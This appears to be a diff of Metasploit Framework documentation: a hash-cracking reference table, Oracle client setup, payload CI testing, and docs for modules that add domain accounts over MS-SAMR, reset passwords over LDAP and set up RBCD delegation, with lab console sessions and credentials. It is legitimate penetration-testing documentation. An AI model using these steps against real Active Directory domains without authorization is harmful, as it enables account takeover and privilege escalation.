| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password1! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
|
||||
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
|
||||
|
||||
@@ -18,7 +18,7 @@ Metasploit's DNS configuration is controlled by the `dns` command which has mult
|
||||
|
||||
The current configuration can be printed by running `dns print`:
|
||||
|
||||
```msf6
|
||||
```msf
|
||||
msf6 > dns print
|
||||
Default search domain: N/A
|
||||
Default search list: lab.lan
|
||||
|
||||
+34
-41
@@ -23,34 +23,27 @@ msf5 auxiliary(scanner/oracle/oracle_hashdump) > run
|
||||
The general steps to getting Oracle support working are to install the Oracle Instant Client and development libraries, install the required dependencies for Kali Linux, then install the gem.
|
||||
|
||||
## Install the Oracle Instant Client
|
||||
As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](http://www.oracle.com/technetwork/database/features/instant-client/index-097480.html) packages for your version of Kali Linux. The packages you will need are:
|
||||
As root, create the directory `/opt/oracle`. Then download the [Oracle Instant Client](https://www.oracle.com/database/technologies/instant-client/downloads.html) packages for your version of Kali Linux. The packages you will need are:
|
||||
|
||||
* instantclient-basic-linux-12.2.0.1.0.zip
|
||||
* instantclient-sqlplus-linux-12.2.0.1.0.zip
|
||||
* instantclient-sdk-linux-12.2.0.1.0.zip
|
||||
* [instantclient-basic-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-basic-linux.x64-23.6.0.24.10.zip)
|
||||
* [instantclient-sqlplus-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-sqlplus-linux.x64-23.6.0.24.10.zip)
|
||||
* [instantclient-sdk-linux.x64-23.6.0.24.10.zip](https://download.oracle.com/otn_software/linux/instantclient/2360000/instantclient-sdk-linux.x64-23.6.0.24.10.zip)
|
||||
|
||||
Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_12_2/`. Next symlink the shared library that we need to access the library from oracle:
|
||||
|
||||
```
|
||||
root@kali:/opt/oracle/instantclient_12_2# ln libclntsh.so.12.1 libclntsh.so
|
||||
|
||||
root@kali:/opt/oracle/instantclient_12_2# ls -lh libclntsh.so
|
||||
lrwxrwxrwx 1 root root 17 Jun 1 15:41 libclntsh.so -> libclntsh.so.12.1
|
||||
```
|
||||
Unzip these under `/opt/oracle`, and you should now have a path called `/opt/oracle/instantclient_23_6/`.
|
||||
|
||||
You also need to configure the appropriate environment variables, perhaps by inserting them into your .bashrc file, logging out and back in for them to apply.
|
||||
|
||||
```
|
||||
export PATH=$PATH:/opt/oracle/instantclient_12_2
|
||||
export SQLPATH=/opt/oracle/instantclient_12_2
|
||||
export TNS_ADMIN=/opt/oracle/instantclient_12_2
|
||||
export LD_LIBRARY_PATH=/opt/oracle/instantclient_12_2
|
||||
export ORACLE_HOME=/opt/oracle/instantclient_12_2
|
||||
export PATH=$PATH:/opt/oracle/instantclient_23_6
|
||||
export SQLPATH=/opt/oracle/instantclient_23_6
|
||||
export TNS_ADMIN=/opt/oracle/instantclient_23_6
|
||||
export LD_LIBRARY_PATH=/opt/oracle/instantclient_23_6
|
||||
export ORACLE_HOME=/opt/oracle/instantclient_23_6
|
||||
```
|
||||
|
||||
If you have succeeded, you should be able to run `sqlplus` from a command prompt:
|
||||
```
|
||||
root@kali:/opt/oracle/instantclient_12_2# sqlplus
|
||||
root@kali:/opt/oracle/instantclient_23_6# sqlplus
|
||||
|
||||
SQL*Plus: Release 12.2.0.1.0 Production on Tue Mar 26 20:40:24 2019
|
||||
|
||||
@@ -64,40 +57,40 @@ Enter user-name:
|
||||
First, download and extract the gem source release:
|
||||
|
||||
```
|
||||
root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip
|
||||
--2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.2.7.zip
|
||||
root@kali:~# wget https://github.com/kubo/ruby-oci8/archive/refs/tags/ruby-oci8-2.2.14.zip
|
||||
--2019-03-26 20:31:11-- https://github.com/kubo/ruby-oci8/archive/refs/tags/ruby-oci8-2.2.14.zip
|
||||
Resolving github.com (github.com)... 192.30.253.113, 192.30.253.112
|
||||
Connecting to github.com (github.com)|192.30.253.113|:443... connected.
|
||||
HTTP request sent, awaiting response... 302 Found
|
||||
Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7 [following]
|
||||
--2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.7
|
||||
Location: https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.14 [following]
|
||||
--2019-03-26 20:31:11-- https://codeload.github.com/kubo/ruby-oci8/zip/ruby-oci8-2.2.14
|
||||
Resolving codeload.github.com (codeload.github.com)... 192.30.253.120, 192.30.253.121
|
||||
Connecting to codeload.github.com (codeload.github.com)|192.30.253.120|:443... connected.
|
||||
HTTP request sent, awaiting response... 200 OK
|
||||
Length: unspecified [application/zip]
|
||||
Saving to: 'ruby-oci8-2.2.7.zip'
|
||||
Saving to: 'ruby-oci8-2.2.14.zip'
|
||||
|
||||
ruby-oci8-2.2.7.zip [ <=> ] 376.97K 2.36MB/s in 0.2s
|
||||
ruby-oci8-2.2.14.zip [ <=> ] 376.97K 2.36MB/s in 0.2s
|
||||
|
||||
2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.7.zip' saved [386016]
|
||||
2019-03-26 20:31:11 (2.36 MB/s) - 'ruby-oci8-2.2.14.zip' saved [386016]
|
||||
|
||||
root@kali:~# unzip ruby-oci8-2.2.7.zip
|
||||
Archive: ruby-oci8-2.2.7.zip
|
||||
root@kali:~# unzip ruby-oci8-2.2.14.zip
|
||||
Archive: ruby-oci8-2.2.14.zip
|
||||
0c85bf6da2f541de3236267b1a1b18f0136a8f5a
|
||||
creating: ruby-oci8-ruby-oci8-2.2.7/
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.7/.gitignore
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.7/.travis.yml
|
||||
creating: ruby-oci8-ruby-oci8-2.2.14/
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.14/.gitignore
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.14/.travis.yml
|
||||
[...]
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.7/test/test_rowid.rb
|
||||
root@kali:~# cd ruby-oci8-ruby-oci8-2.2.7/
|
||||
inflating: ruby-oci8-ruby-oci8-2.2.14/test/test_rowid.rb
|
||||
root@kali:~# cd ruby-oci8-ruby-oci8-2.2.14/
|
||||
```
|
||||
|
||||
Install libgmp (needed to build the gem) and set the path to prefer the correct version of ruby so that Metasploit can use it.
|
||||
|
||||
```
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# export PATH=/opt/metasploit/ruby/bin:$PATH
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# export PATH=/opt/metasploit/ruby/bin:$PATH
|
||||
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# apt-get install libgmp-dev
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# apt-get install libgmp-dev
|
||||
Reading package lists... Done
|
||||
Building dependency tree
|
||||
Reading state information... Done
|
||||
@@ -117,7 +110,7 @@ Setting up libgmp-dev:amd64 (2:5.0.5+dfsg-2) ...
|
||||
Build and install the gem
|
||||
|
||||
```
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# make
|
||||
ruby -w setup.rb config
|
||||
setup.rb:280: warning: assigned but unused variable - vname
|
||||
setup.rb:280: warning: assigned but unused variable - desc
|
||||
@@ -130,12 +123,12 @@ setup.rb:280: warning: assigned but unused variable - default2
|
||||
<--- lib
|
||||
---> ext
|
||||
---> ext/oci8
|
||||
/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8/extconf.rb
|
||||
/opt/metasploit/ruby/bin/ruby /root/ruby-oci8-ruby-oci8-2.2.14/ext/oci8/extconf.rb
|
||||
checking for load library path...
|
||||
LD_LIBRARY_PATH...
|
||||
checking /opt/metasploit/ruby/lib... no
|
||||
checking /opt/oracle/instantclient_12_2... yes
|
||||
/opt/oracle/instantclient_12_2/libclntsh.so.12.1 looks like an instant client.
|
||||
checking /opt/oracle/instantclient_23_6... yes
|
||||
/opt/oracle/instantclient_23_6/libclntsh.so.12.1 looks like an instant client.
|
||||
checking for cc... ok
|
||||
checking for gcc... yes
|
||||
checking for LP64... yes
|
||||
@@ -144,11 +137,11 @@ checking for ruby header... ok
|
||||
checking for OCIInitialize() in oci.h... yes
|
||||
[...]
|
||||
linking shared-object oci8lib_250.so
|
||||
make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.7/ext/oci8'
|
||||
make[1]: Leaving directory `/root/ruby-oci8-ruby-oci8-2.2.14/ext/oci8'
|
||||
<--- ext/oci8
|
||||
<--- ext
|
||||
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7# make install
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.14# make install
|
||||
ruby -w setup.rb install
|
||||
setup.rb:280: warning: assigned but unused variable - vname
|
||||
setup.rb:280: warning: assigned but unused variable - desc
|
||||
@@ -158,5 +151,5 @@ mkdir -p /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/
|
||||
install oci8.rb /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/
|
||||
[...]
|
||||
<--- ext
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.7#
|
||||
root@kali:~/ruby-oci8-ruby-oci8-2.2.14#
|
||||
```
|
||||
|
||||
@@ -86,8 +86,7 @@ OptSomething.new(option_name, [boolean, description, value, *enums*], aliases: *
|
||||
options](#Filtering-datastore-options) section for more information.
|
||||
* **fallbacks** *optional*, *key-word only* An array of names that will be used as a fallback if the main option name is
|
||||
defined by the user. This is useful in the scenario of wanting specialised option names such as `SMBUser`, but to also
|
||||
support gracefully checking a list of more generic fallbacks option names such as `Username`. This functionality is
|
||||
currently behind a feature flag, set with `features set datastore_fallbacks true` in msfconsole
|
||||
support gracefully checking a list of more generic fallbacks option names such as `Username`.
|
||||
|
||||
Now let's talk about what classes are available:
|
||||
|
||||
|
||||
@@ -169,7 +169,7 @@ Local File System Commands
|
||||
This session also works with the following modules:
|
||||
|
||||
auxiliary/admin/dcerpc/icpr_cert
|
||||
auxiliary/admin/dcerpc/samr_computer
|
||||
auxiliary/admin/dcerpc/samr_account
|
||||
auxiliary/admin/smb/delete_file
|
||||
auxiliary/admin/smb/download_file
|
||||
auxiliary/admin/smb/psexec_ntdsgrab
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
Payloads for Metasploit Framework can now be tested when opening pull requests. This is handled by GitHub actions within
|
||||
our CI, this workflow will build the payloads using the appropriate repositories and branches. It will then run our
|
||||
acceptance tests against those changes. This requires adding GitHub labels for each corresponding payload repository.
|
||||
The labels will contain the `payload-testing` prefix, each supporting testing for an external repository:
|
||||
- `payload-testing-branch` ([https://github.com/rapid7/metasploit-payloads/](https://github.com/rapid7/metasploit-payloads/))
|
||||
- `payload-testing-mettle-branch` ([https://github.com/rapid7/mettle/](https://github.com/rapid7/mettle/))
|
||||
|
||||
**_Note_**:
|
||||
|
||||
The long term aim is supporting workflow dispatches for this job, but that is currently not working as expected. So as a
|
||||
work-around we will need to edit the workflow locally. Once the testing has been completed ensure the following locally
|
||||
changes are reverted before merging.
|
||||
|
||||
Once the appropriate repository label is added, you will need to edit the GitHub workflow to point at the specific
|
||||
repository and branch you want to test. Below I will outline some changes that are required to make this work, update
|
||||
the following lines like so:
|
||||
|
||||
1. Point at your forked repository - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L189):
|
||||
```yaml
|
||||
repository: foo-r7/metasploit-framework
|
||||
```
|
||||
|
||||
2. Point at your forked repository branch - [line to update](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L191):
|
||||
```yaml
|
||||
ref: fixes-all-the-bugs
|
||||
```
|
||||
|
||||
3. Point at your forked repository that contains the payload changes you'd like to test - update lines [45](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L45) and [250](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L250):
|
||||
```yaml
|
||||
repository: foo-r7/metasploit-payloads
|
||||
```
|
||||
|
||||
4. Point at your forked repository branch that contains the payload changes you'd like to test - update lines [47](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L47) and [252](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L252):
|
||||
```yaml
|
||||
ref: fixes-all-the-payload-bugs
|
||||
```
|
||||
|
||||
Steps 3 and 4 outline the steps required when steps testing metasploit-payloads. The same steps apply for Mettle, the
|
||||
following lines would need updated:
|
||||
- Point at your forked repository that contain the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L156).
|
||||
- Point at your forked repository branch that contains the payload changes you'd like to test - [line](https://github.com/rapid7/metasploit-framework/blob/2355ab546d02bfee99183083b12c6953836c12a1/.github/workflows/shared_meterpreter_acceptance.yml#L158).
|
||||
@@ -856,6 +856,9 @@ NAVIGATION_CONFIG = [
|
||||
{
|
||||
path: 'Loading-Test-Modules.md'
|
||||
},
|
||||
{
|
||||
path: 'Payload-Testing.md'
|
||||
},
|
||||
{
|
||||
path: 'Measuring-Metasploit-Performance.md'
|
||||
}
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
## Vulnerable Application
|
||||
Add, lookup and delete user / machine accounts via MS-SAMR. By default standard active directory users can add up to 10
|
||||
new computers to the domain (MachineAccountQuota). Administrative privileges however are required to delete the created
|
||||
accounts, or to create/delete user accounts.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/samr_account`
|
||||
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
1. Set the `ACCOUNT_NAME` option for `DELETE_ACCOUNT` and `LOOKUP_ACCOUNT` actions
|
||||
4. Run the module and see that a new machine account was added
|
||||
|
||||
## Options
|
||||
|
||||
### SMBDomain
|
||||
|
||||
The Windows domain to use for authentication. The domain will automatically be identified if this option is left in its
|
||||
default value.
|
||||
|
||||
### ACCOUNT_NAME
|
||||
|
||||
The account name to add, lookup or delete. This option is optional for the `ADD_COMPUTER` action, and required for the
|
||||
`ADD_USER`, `LOOKUP_ACCOUNT` and `DELETE_ACCOUNT` actions. If left blank for `ADD_COMPUTER`, a random, realistic name
|
||||
will be generated.
|
||||
|
||||
### ACCOUNT_PASSWORD
|
||||
|
||||
The password for the new account. This option is only used for the `ADD_COMPUTER` and `ADD_USER` actions. If left
|
||||
blank, a random value will be generated.
|
||||
|
||||
## Actions
|
||||
|
||||
### ADD_COMPUTER
|
||||
|
||||
Add a new computer to the domain. This action will fail with status `STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED` if the
|
||||
user has exceeded the maximum number of computer accounts that they are allowed to create.
|
||||
|
||||
After the computer account is created, the password will be set for it. If `ACCOUNT_NAME` is set, that value will be
|
||||
used and the module will fail if the specified name is already in use. If `ACCOUNT_NAME` is *not* set, a random value
|
||||
will be used.
|
||||
|
||||
### ADD_USER
|
||||
|
||||
Add a new user to the domain. The account being used to create the new user must have permission to do so.
|
||||
|
||||
After the user account is created, the password will be set for it. The `ACCOUNT_NAME` option must be set to the name of
|
||||
the account to create. The module will fail if the specified name is already in use.
|
||||
|
||||
### DELETE_ACCOUNT
|
||||
|
||||
Delete a user or computer account from the domain. This action requires that the `ACCOUNT_NAME` option be set.
|
||||
|
||||
### LOOKUP_ACCOUNT
|
||||
|
||||
Lookup a user or computer account in the domain. This action verifies that the specified account exists, and looks up
|
||||
its security ID (SID), which includes the relative ID (RID) as the last component.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2019
|
||||
|
||||
First, a new computer account is created and its details are logged to the database.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.96
|
||||
RHOSTS => 192.168.159.96
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser aliddle
|
||||
SMBUser => aliddle
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1
|
||||
SMBPass => Password1
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > show options
|
||||
|
||||
Module options (auxiliary/admin/dcerpc/samr_account):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACCOUNT _NAME no The computer name
|
||||
ACCOUNT_PASSWORD no The password for the new computer
|
||||
RHOSTS 192.168.159.96 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain . no The Windows domain to use for authentication
|
||||
SMBPass Password1 no The password for the specified username
|
||||
SMBUser aliddle no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ADD_COMPUTER Add a computer account
|
||||
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > run
|
||||
[*] Running module against 192.168.159.96
|
||||
|
||||
[*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB
|
||||
[+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) >
|
||||
```
|
||||
@@ -1,100 +0,0 @@
|
||||
## Vulnerable Application
|
||||
Add, lookup and delete computer accounts via MS-SAMR. By default standard active directory users can add up to 10 new
|
||||
computers to the domain. Administrative privileges however are required to delete the created accounts.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/samr_computer`
|
||||
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
1. Set the `COMPUTER_NAME` option for `DELETE_COMPUTER` and `LOOKUP_COMPUTER` actions
|
||||
4. Run the module and see that a new machine account was added
|
||||
|
||||
## Options
|
||||
|
||||
### SMBDomain
|
||||
|
||||
The Windows domain to use for authentication. The domain will automatically be identified if this option is left in its
|
||||
default value.
|
||||
|
||||
### COMPUTER_NAME
|
||||
|
||||
The computer name to add, lookup or delete. This option is optional for the `ADD_COMPUTER` action, and required for the
|
||||
`LOOKUP_COMPUTER` and `DELETE_COMPUTER` actions.
|
||||
|
||||
### COMPUTER_PASSWORD
|
||||
|
||||
The password for the new computer. This option is only used for the `ADD_COMPUTER` action. If left blank, a random value
|
||||
will be generated.
|
||||
|
||||
## Actions
|
||||
|
||||
### ADD_COMPUTER
|
||||
|
||||
Add a new computer to the domain. This action will fail with status `STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED` if the
|
||||
user has exceeded the maximum number of computer accounts that they are allowed to create.
|
||||
|
||||
After the computer account is created, the password will be set for it. If `COMPUTER_NAME` is set, that value will be
|
||||
used and the module will fail if the selected name is already in use. If `COMPUTER_NAME` is *not* set, a random value
|
||||
will be used.
|
||||
|
||||
### DELETE_COMPUTER
|
||||
|
||||
Delete a computer from the domain. This action requires that the `COMPUTER_NAME` option be set.
|
||||
|
||||
### LOOKUP_COMPUTER
|
||||
|
||||
Lookup a computer in the domain. This action verifies that the specified computer exists, and looks up its security ID
|
||||
(SID), which includes the relative ID (RID) as the last component.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows Server 2019
|
||||
|
||||
First, a new computer account is created and its details are logged to the database.
|
||||
|
||||
```
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.96
|
||||
RHOSTS => 192.168.159.96
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser aliddle
|
||||
SMBUser => aliddle
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1
|
||||
SMBPass => Password1
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > show options
|
||||
|
||||
Module options (auxiliary/admin/dcerpc/samr_computer):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMPUTER_NAME no The computer name
|
||||
COMPUTER_PASSWORD no The password for the new computer
|
||||
RHOSTS 192.168.159.96 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain . no The Windows domain to use for authentication
|
||||
SMBPass Password1 no The password for the specified username
|
||||
SMBUser aliddle no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ADD_COMPUTER Add a computer account
|
||||
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > run
|
||||
[*] Running module against 192.168.159.96
|
||||
|
||||
[*] 192.168.159.96:445 - Using automatically identified domain: MSFLAB
|
||||
[+] 192.168.159.96:445 - Successfully created MSFLAB\DESKTOP-2X8F54QG$ with password MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > creds
|
||||
Credentials
|
||||
===========
|
||||
|
||||
host origin service public private realm private_type JtR Format
|
||||
---- ------ ------- ------ ------- ----- ------------ ----------
|
||||
192.168.159.96 192.168.159.96 445/tcp (smb) DESKTOP-2X8F54QG$ MCoDkNALd3SdGR1GoLhqniEkWa8Me9FY MSFLAB Password
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) >
|
||||
```
|
||||
@@ -0,0 +1,39 @@
|
||||
## Introduction
|
||||
|
||||
Allows changing or resetting users' passwords over the LDAP protocol (particularly for Active Directory).
|
||||
|
||||
"Changing" refers to situations where you know the value of the existing password, and send that to the server as part of the password modification.
|
||||
"Resetting" refers to situations where you may not know the value of the existing password, but by virtue of your permissions over the target account, you can force-change the password without necessarily knowing it.
|
||||
|
||||
Note that users can typically not reset their own passwords (unless they have very high privileges), but can usually change their password as long as they know the existing one.
|
||||
|
||||
This module works with existing sessions (or relaying), especially for Resetting, wherein the target's password is not required.
|
||||
|
||||
## Actions
|
||||
|
||||
- `RESET` - Reset the target's password without knowing the existing one (requires appropriate permissions)
|
||||
- `CHANGE` - Change the user's password, knowing the existing one.
|
||||
|
||||
## Options
|
||||
|
||||
The required options are based on the action being performed:
|
||||
|
||||
- When resetting a password, you must specify the `TARGET_USER`
|
||||
- When changing a password, you must specify the `USERNAME` and `PASSWORD`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions)
|
||||
- The `NEW_PASSWORD` option must always be provided
|
||||
|
||||
**USERNAME**
|
||||
|
||||
The username to use to authenticate to the server. Required for changing a password, even if using an existing session.
|
||||
|
||||
**PASSWORD**
|
||||
|
||||
The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).
|
||||
|
||||
**TARGET_USER**
|
||||
|
||||
For resetting passwords, the user account for which to reset the password. The authenticated account (username) must have privileges over the target user (e.g. Ownership, or the `User-Force-Change-Password` extended right)
|
||||
|
||||
**NEW_PASSWORD**
|
||||
|
||||
The new password to set.
|
||||
@@ -62,14 +62,14 @@ PropagationFlags : None
|
||||
|
||||
## Module usage
|
||||
|
||||
The `admin/dcerpc/samr_computer` module is generally used to first create a computer account, which requires no permissions:
|
||||
The `admin/dcerpc/samr_account` module is generally used to first create a computer account, which by default, all user accounts in a domain can perform:
|
||||
|
||||
1. From msfconsole
|
||||
2. Do: `use auxiliary/admin/dcerpc/samr_computer`
|
||||
2. Do: `use auxiliary/admin/dcerpc/samr_account`
|
||||
3. Set the `RHOSTS`, `SMBUser` and `SMBPass` options
|
||||
a. For the `ADD_COMPUTER` action, if you don't specify `COMPUTER_NAME` or `COMPUTER_PASSWORD` - one will be generated automatically
|
||||
b. For the `DELETE_COMPUTER` action, set the `COMPUTER_NAME` option
|
||||
c. For the `LOOKUP_COMPUTER` action, set the `COMPUTER_NAME` option
|
||||
a. For the `ADD_COMPUTER` action, if you don't specify `ACCOUNT_NAME` or `ACCOUNT_PASSWORD` - one will be generated automatically
|
||||
b. For the `DELETE_ACCOUNT` action, set the `ACCOUNT_NAME` option
|
||||
c. For the `LOOKUP_ACCOUNT` action, set the `ACCOUNT_NAME` option
|
||||
4. Run the module and see that a new machine account was added
|
||||
|
||||
Then the `auxiliary/admin/ldap/rbcd` can be used:
|
||||
@@ -121,19 +121,30 @@ with the Service for User (S4U) Kerberos extension.
|
||||
First create the computer account:
|
||||
|
||||
```msf
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > show options
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > show options
|
||||
|
||||
Module options (auxiliary/admin/dcerpc/samr_computer):
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
ACCOUNT_NAME no The account name
|
||||
ACCOUNT_PASSWORD no The password for the new account
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
COMPUTER_NAME no The computer name
|
||||
COMPUTER_PASSWORD no The password for the new computer
|
||||
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain . no The Windows domain to use for authentication
|
||||
SMBPass no The password for the specified username
|
||||
SMBUser no The username to authenticate as
|
||||
|
||||
Used when connecting via an existing SESSION:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION no The session to run this module on
|
||||
|
||||
|
||||
Used when making a new connection via RHOSTS:
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
|
||||
RPORT 445 yes The target port (TCP)
|
||||
SMBDomain . no The Windows domain to use for authentication
|
||||
SMBPass no The password for the specified username
|
||||
SMBUser no The username to authenticate as
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
@@ -143,13 +154,13 @@ Auxiliary action:
|
||||
ADD_COMPUTER Add a computer account
|
||||
|
||||
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > set RHOSTS 192.168.159.10
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > set RHOSTS 192.168.159.10
|
||||
RHOSTS => 192.168.159.10
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBUser sandy
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > set SMBUser sandy
|
||||
SMBUser => sandy
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > set SMBPass Password1!
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > set SMBPass Password1!
|
||||
SMBPass => Password1!
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > run
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > run
|
||||
[*] Running module against 192.168.159.10
|
||||
|
||||
[*] 192.168.159.10:445 - Using automatically identified domain: MSFLAB
|
||||
@@ -157,7 +168,7 @@ msf6 auxiliary(admin/dcerpc/samr_computer) > run
|
||||
[+] 192.168.159.10:445 - Password: A2HPEkkQzdxQirylqIj7BxqwB7kuUMrT
|
||||
[+] 192.168.159.10:445 - SID: S-1-5-21-3402587289-1488798532-3618296993-1655
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(admin/dcerpc/samr_computer) > use auxiliary/admin/ldap/rbcd
|
||||
msf6 auxiliary(admin/dcerpc/samr_account) > use auxiliary/admin/ldap/rbcd
|
||||
```
|
||||
|
||||
Now use the RBCD module to read the current value of `msDS-AllowedToActOnBehalfOfOtherIdentity`:
|
||||
@@ -181,7 +192,7 @@ msf6 auxiliary(admin/ldap/rbcd) > read
|
||||
[*] Auxiliary module execution completed
|
||||
```
|
